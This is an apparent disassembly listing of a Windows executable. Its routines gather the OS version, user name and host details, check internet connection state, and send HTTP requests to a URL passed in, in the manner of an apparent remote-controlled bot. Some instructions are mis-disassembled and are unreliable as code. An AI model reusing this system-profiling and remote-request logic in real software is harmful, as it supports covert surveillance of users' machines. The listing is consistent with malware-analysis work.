		ja	short loc_41AC0C
		jb	short loc_41ABB8
		cmp	edi, 50h
		jnb	short loc_41ABBD


loc_41ABB8:				; CODE XREF: sub_41AB62+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41ABBD:				; CODE XREF: sub_41AB62+54j
		test	ecx, ecx
		ja	short loc_41AC0C
		jb	short loc_41ABC8
		cmp	edi, 47h
		jnb	short loc_41ABCD


loc_41ABC8:				; CODE XREF: sub_41AB62+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41ABCD:				; CODE XREF: sub_41AB62+64j
		test	ecx, ecx
		ja	short loc_41AC0C
		jb	short loc_41ABD8
		cmp	edi, 37h
		jnb	short loc_41ABDD


loc_41ABD8:				; CODE XREF: sub_41AB62+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41ABDD:				; CODE XREF: sub_41AB62+74j
		test	ecx, ecx
		ja	short loc_41AC0C
		jb	short loc_41ABE8
		cmp	edi, 26h
		jnb	short loc_41ABED


loc_41ABE8:				; CODE XREF: sub_41AB62+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41ABED:				; CODE XREF: sub_41AB62+84j
		test	ecx, ecx
		ja	short loc_41AC0C
		jb	short loc_41ABF8
		cmp	edi, 1Eh
		jnb	short loc_41ABFD


loc_41ABF8:				; CODE XREF: sub_41AB62+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41ABFD:				; CODE XREF: sub_41AB62+94j
		test	ecx, ecx
		ja	short loc_41AC0C
		jb	short loc_41AC08
		cmp	edi, 0Ah
		jnb	short loc_41AC0C


loc_41AC08:				; CODE XREF: sub_41AB62+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AC0C:				; CODE XREF: sub_41AB62+4Dj
					; sub_41AB62+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_41AB62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC18	proc near		; CODE XREF: seg000:00404227p

var_15B7B	= byte ptr -15B7Bh
var_1137C	= dword	ptr -1137Ch
var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43FDB4
		mov	[ebp+var_CC], 94h
		call	ds:dword_4280C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AC9F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AC7B
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AC65
		mov	[ebp+var_4], offset a95	; "95"


loc_41AC65:				; CODE XREF: sub_41AC18+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AD1A
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_41ACEB
; ---------------------------------------------------------------------------


loc_41AC7B:				; CODE XREF: sub_41AC18+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AC8D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_41ACE2
; ---------------------------------------------------------------------------


loc_41AC8D:				; CODE XREF: sub_41AC18+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41ACDB
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_41ACE2
; ---------------------------------------------------------------------------


loc_41AC9F:				; CODE XREF: sub_41AC18+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41ACDB
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41ACB9
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_41ACE2
; ---------------------------------------------------------------------------


loc_41ACB9:				; CODE XREF: sub_41AC18+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41ACCB
		mov	[ebp+var_4], offset aXp_0 ; "XP"
		jmp	short loc_41ACE2
; ---------------------------------------------------------------------------


loc_41ACCB:				; CODE XREF: sub_41AC18+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41ACE2


loc_41ACDB:				; CODE XREF: sub_41AC18+7Cj
					; sub_41AC18+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_41ACE2:				; CODE XREF: sub_41AC18+73j
					; sub_41AC18+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AD1A


loc_41ACEB:				; CODE XREF: sub_41AC18+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AD1A
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AD1A:				; CODE XREF: sub_41AC18+54j
					; sub_41AC18+D1j ...
		mov	ax, ds:word_43A498
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, ds:dword_4CDAD8
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_41AD53
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_41AD53:				; CODE XREF: sub_41AC18+12Cj
		push	[ebp+arg_4]
		call	sub_40AAF8
		pop	ecx
		push	eax
		call	ds:dword_4CDC38	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	ds:dword_4CDBB0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41AD7C
		push	dword ptr [eax]
		jmp	short loc_41AD81
; ---------------------------------------------------------------------------


loc_41AD7C:				; CODE XREF: sub_41AC18+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41AD81:				; CODE XREF: sub_41AC18+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41BA76
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 0B10000h
		ror	[ebp+var_1137C+1], 0FFh
		push	46h
		push	eax
		push	offset dword_43CDAC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 0B10000h
		or	[ebp+var_15B7B], 0FFh
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 0B10000h
		cli
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 0B10000h
		aam	53h
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41BBC1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_416AA3
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41AA78
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416994
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416994
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AB62
		push	edx
		push	eax
		push	offset dword_43CCD0
		push	200h
		push	[ebp+arg_0]
		call	sub_41BB70
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AC18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AECC	proc near		; CODE XREF: seg000:00404255p
					; seg000:00408CE3p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		cmp	ds:dword_4CDCDC, 0
		jnz	short loc_41AF40
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4CDABC	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41AF21
		lea	eax, [ebp+var_8C]
		push	offset dword_43CE2C
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41AF21:				; CODE XREF: sub_41AECC+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_41AF39
		push	offset dword_43CE24


loc_41AF2F:				; CODE XREF: sub_41AECC+72j
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		jmp	short loc_41AF5F
; ---------------------------------------------------------------------------


loc_41AF39:				; CODE XREF: sub_41AECC+5Cj
		push	offset off_43CE20
		jmp	short loc_41AF2F
; ---------------------------------------------------------------------------


loc_41AF40:				; CODE XREF: sub_41AECC+28j
		mov	esi, offset off_43CE1C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41BA76
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_41BA76
		add	esp, 10h


loc_41AF5F:				; CODE XREF: sub_41AECC+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AAF8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43CDD8
		push	200h
		push	[ebp+arg_0]
		call	sub_41BB70
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41AECC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF92	proc near		; DATA XREF: seg000:0040914Eo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43CF0C
		call	sub_41B780
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B780
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B780
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B780
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	ds:dword_4CDAF4	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41B132
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B069
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_41B069:				; CODE XREF: sub_41AF92+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B087
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_41B087:				; CODE XREF: sub_41AF92+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B0A1
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_41B0A1:				; CODE XREF: sub_41AF92+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B0BB
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B7E0
		add	esp, 0Ch


loc_41B0BB:				; CODE XREF: sub_41AF92+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	ds:dword_4CDBA8
		call	ds:dword_4CDBCC	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B148
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	ds:dword_4CDBC0	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B14F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	ds:dword_4CDB6C	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_41B12B
		push	offset dword_43CEF0
		jmp	short loc_41B15A
; ---------------------------------------------------------------------------


loc_41B12B:				; CODE XREF: sub_41AF92+190j
		push	offset unk_43CEB4
		jmp	short loc_41B15A
; ---------------------------------------------------------------------------


loc_41B132:				; CODE XREF: sub_41AF92+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43CE98
		push	eax
		call	sub_41BA76
		mov	esi, [ebp+var_C]
		jmp	short loc_41B160
; ---------------------------------------------------------------------------


loc_41B148:				; CODE XREF: sub_41AF92+153j
		push	offset unk_43CE6C
		jmp	short loc_41B154
; ---------------------------------------------------------------------------


loc_41B14F:				; CODE XREF: sub_41AF92+17Bj
		push	offset unk_43CE3C


loc_41B154:				; CODE XREF: sub_41AF92+1BBj
		lea	eax, [ebp+var_55C]


loc_41B15A:				; CODE XREF: sub_41AF92+197j
					; sub_41AF92+19Ej
		push	eax
		call	sub_41BA76


loc_41B160:				; CODE XREF: sub_41AF92+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_41B18D
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409966
		add	esp, 14h


loc_41B18D:				; CODE XREF: sub_41AF92+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4152AE
		pop	ecx
		push	esi
		call	ds:dword_4CDC2C	; InternetCloseHandle
		push	[ebp+var_4]
		call	ds:dword_4CDC2C	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h
		test	[edi+5Eh], ebx
		pop	ebx
sub_41AF92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B1C0	proc near		; CODE XREF: sub_40E3D2+185p
		jmp	ds:dword_4281DC
sub_41B1C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B1D0	proc near		; CODE XREF: start+38p	sub_4019DB+6Bp	...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B1F0


loc_41B1DC:				; CODE XREF: sub_41B1D0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B223
		test	ecx, 3
		jnz	short loc_41B1DC
		add	eax, 0


loc_41B1F0:				; CODE XREF: sub_41B1D0+Aj
					; sub_41B1D0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B1F0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B241
		test	ah, ah
		jz	short loc_41B237
		test	eax, 0FF0000h
		jz	short loc_41B22D
		test	eax, 0FF000000h
		jz	short loc_41B223
		jmp	short loc_41B1F0
; ---------------------------------------------------------------------------


loc_41B223:				; CODE XREF: sub_41B1D0+11j
					; sub_41B1D0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B22D:				; CODE XREF: sub_41B1D0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B237:				; CODE XREF: sub_41B1D0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B241:				; CODE XREF: sub_41B1D0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B1D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B24B	proc near		; CODE XREF: seg000:00401124p
					; seg000:00407352p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B260
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B29A
; ---------------------------------------------------------------------------


loc_41B260:				; CODE XREF: sub_41B24B+Ej
		test	al, 83h
		jz	short loc_41B298
		push	esi
		call	sub_41DDAB
		push	esi
		mov	edi, eax
		call	sub_41DD45
		push	dword ptr [esi+10h]
		call	sub_41DC92
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B286
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B298
; ---------------------------------------------------------------------------


loc_41B286:				; CODE XREF: sub_41B24B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B298
		push	eax
		call	sub_41B2A1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B24B+17j
					; sub_41B24B+39j ...
		mov	eax, edi


loc_41B29A:				; CODE XREF: sub_41B24B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B24B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B2A1	proc near		; CODE XREF: seg000:0040111Ep
					; sub_40AA20+C3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B307
		mov	eax, ds:dword_4DF548
		cmp	eax, 3
		jnz	short loc_41B2CD
		push	esi
		call	sub_41E097
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B2F9
		push	eax
		call	sub_41E0C2
		pop	ecx
		pop	ecx
		jmp	short loc_41B307
; ---------------------------------------------------------------------------


loc_41B2CD:				; CODE XREF: sub_41B2A1+14j
		cmp	eax, 2
		jnz	short loc_41B2F8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EDF2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B2F8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EE49
		add	esp, 0Ch
		jmp	short loc_41B307
; ---------------------------------------------------------------------------


loc_41B2F8:				; CODE XREF: sub_41B2A1+2Fj
					; sub_41B2A1+44j
		push	esi


loc_41B2F9:				; CODE XREF: sub_41B2A1+20j
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428144	; RtlFreeHeap


loc_41B307:				; CODE XREF: sub_41B2A1+Aj
					; sub_41B2A1+2Aj ...
		pop	esi
		leave
		retn
sub_41B2A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B30A	proc near		; CODE XREF: seg000:00401105p
					; sub_40F3DD+4Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B32E
		xor	eax, eax
		jmp	loc_41B3D7
; ---------------------------------------------------------------------------


loc_41B32E:				; CODE XREF: sub_41B30A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B341
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B34D
; ---------------------------------------------------------------------------


loc_41B341:				; CODE XREF: sub_41B30A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B34D
; ---------------------------------------------------------------------------


loc_41B34A:				; CODE XREF: sub_41B30A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B34D:				; CODE XREF: sub_41B30A+35j
					; sub_41B30A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B37F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B37F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B364
		mov	edi, eax


loc_41B364:				; CODE XREF: sub_41B30A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C500
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B3CA
; ---------------------------------------------------------------------------


loc_41B37F:				; CODE XREF: sub_41B30A+49j
					; sub_41B30A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B3B2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B395
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B395:				; CODE XREF: sub_41B30A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F33C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B3DC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B3E2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B3CA
; ---------------------------------------------------------------------------


loc_41B3B2:				; CODE XREF: sub_41B30A+78j
		push	esi
		call	sub_41F263
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B3E6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B3CA:				; CODE XREF: sub_41B30A+73j
					; sub_41B30A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B34A
		mov	eax, [ebp+arg_8]


loc_41B3D7:				; CODE XREF: sub_41B30A+1Fj
					; sub_41B30A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B3DC:				; CODE XREF: sub_41B30A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B3E6
; ---------------------------------------------------------------------------


loc_41B3E2:				; CODE XREF: sub_41B30A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B3E6:				; CODE XREF: sub_41B30A+B2j
					; sub_41B30A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B3D7
sub_41B30A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B3F2	proc near		; CODE XREF: seg000:004010EEp
					; sub_41D1C3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B40D
		push	[ebp+arg_4]
		call	sub_41B6C5
		pop	ecx
		jmp	loc_41B68D
; ---------------------------------------------------------------------------


loc_41B40D:				; CODE XREF: sub_41B3F2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B422
		push	[ebp+arg_0]
		call	sub_41B2A1
		pop	ecx
		jmp	loc_41B68B
; ---------------------------------------------------------------------------


loc_41B422:				; CODE XREF: sub_41B3F2+20j
		mov	eax, ds:dword_4DF548
		cmp	eax, 3
		jnz	loc_41B532


loc_41B430:				; CODE XREF: sub_41B3F2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B50E
		push	[ebp+arg_0]
		call	sub_41E097
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B4E9
		cmp	esi, ds:dword_4DF540
		ja	short loc_41B4A2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E8A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B49E
		push	esi
		call	sub_41E3EB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B4A2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B482
		mov	eax, esi


loc_41B482:				; CODE XREF: sub_41B3F2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C500
		push	ebx
		call	sub_41E097
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E0C2
		add	esp, 18h


loc_41B49E:				; CODE XREF: sub_41B3F2+74j
		test	edi, edi
		jnz	short loc_41B4E5


loc_41B4A2:				; CODE XREF: sub_41B3F2+62j
					; sub_41B3F2+81j
		test	esi, esi
		jnz	short loc_41B4A9
		push	1
		pop	esi


loc_41B4A9:				; CODE XREF: sub_41B3F2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4DF544
		call	ds:dword_428148	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B4E5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B4D1
		mov	eax, esi


loc_41B4D1:				; CODE XREF: sub_41B3F2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C500
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E0C2
		add	esp, 14h


loc_41B4E5:				; CODE XREF: sub_41B3F2+AEj
					; sub_41B3F2+D0j
		test	ebx, ebx
		jnz	short loc_41B50A


loc_41B4E9:				; CODE XREF: sub_41B3F2+56j
		test	esi, esi
		jnz	short loc_41B4F0
		push	1
		pop	esi


loc_41B4F0:				; CODE XREF: sub_41B3F2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4DF544
		call	ds:dword_42819C	; RtlReAllocateHeap
		mov	edi, eax


loc_41B50A:				; CODE XREF: sub_41B3F2+F5j
		test	edi, edi
		jnz	short loc_41B52B


